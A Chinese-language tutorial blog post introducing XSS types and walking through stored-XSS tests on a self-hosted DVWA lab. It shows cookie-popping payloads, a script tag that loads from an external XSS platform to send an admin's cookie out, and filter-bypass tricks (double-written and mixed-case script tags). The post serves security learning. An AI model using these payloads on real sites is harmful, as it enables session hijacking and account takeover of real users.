安全 | XSS漏洞初窥
Posted FlytreeTech
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全 | XSS漏洞初窥相关的知识,希望对你有一定的参考价值。
xss的全称是:Cross Site Script,中文名叫“跨站脚本攻击”,因为和CSS重名,所以改名XSS。作为一个网站是肯定要和用户有交互的,那么肯定就伴随着信息的输入输出,而利用xss就是通过在输入时输入恶意的代码,向网站写入恶意的脚本,进而可以对网站的普通用户进行cookie劫持,甚至控制用户的浏览器,向用户插入木马等。常见的输入有哪些呢,比如搜索框,比如留言板,比如用户个人信息的修改。凡是涉及到输入就可能存在xss漏洞。
xss的分类
反射型xss
发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。常见于各种的搜索框。存储型xss
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。常见于留言板等。DOM xss
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
测试平台:自己搭建的dvwa
Dvwa简介:
Damn Vulnerable Web App (DVWA) is a php/mysql web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment。
就是一个用于安全测试的平台,项目地址:http://www.dvwa.co.uk/
测试用浏览器:Microsoft Edge(因为有的浏览器(比如Chrome)安全性比较好,所以有时可能在测试时没有结果。)
测试开始
初次尝试先把测试等级调成低级(low),便于测试:
就先做一个存储型的测试吧:
我先用test用户在xss(Stored)中message中输入:<script>alert(1)</script>。这串js代码是在浏览器弹出出一个“1”。
然后换成admin用户进入此模块,就能看到:
或许觉得这样没什么用,但我要是用来获取cookie呢。
我在test用户中的输入换成:<script>alert(document.cookie)</script>,弹出cookie的代码。那么当admin用户进入页面时就会直接在页面中弹出 cookie了:
那你会说弹出来别人不就知道了吗?那当然可以不弹,把cookie信息发送出去了。这里我借助了一个xss的平台用来获取cookie。我在test用户中的输入换成:
<script src=http://xsspt.com/GkvoyX?1521951009></script>
这是就会由平台接受这个cookie了。这时可以看到admin用户登入时没有异常,但是,xss send是有的。
这时就可以在远程看到接收的cookie了:
可能你会想有可cookie又能干嘛呢,cookie中保存着用户的登入信息。有了的话就可以通过cookie进行登入了。比如可以在浏览器控制台,通过命令修改cookie的值。
中级难度测试
那么接下来看看将dvwa的安全难度调到中级(medium)看看会如何。
然后输入代码:
发现并没有想中的弹出一个提示框,但是却有输出。
这是为啥呢?我们打开“开发人员选项”,可以看到输入的脚本只剩下了个alert(1)了,那当然就不起作用了。
这时候我们看看它的后台源代码:
后台调用了strip_tags() 和htmlspecialchars()函数,所以它把我们的脚本处理没了。这时该怎么办嘞?这时我们可以看到对于name的内容dvwa并没有这样处理,它用是: $name = str_replace( '<script>', '', $name ); 它只是单纯的过滤了<script>字段。那我们可以双写,输入:<sc<script>ript>alert('xss test')</script>进行绕过。或者使用大小写混合也能绕过,比如:<Script>alert("飞啊飞")</script>。
这时又有了:
函数说明:
strip_tags() :
函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签。
htmlspecialchars():把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体
注:文章仅作技术交流分享,测试时请遵守相关法律法规。
以上是关于安全 | XSS漏洞初窥的主要内容,如果未能解决你的问题,请参考以下文章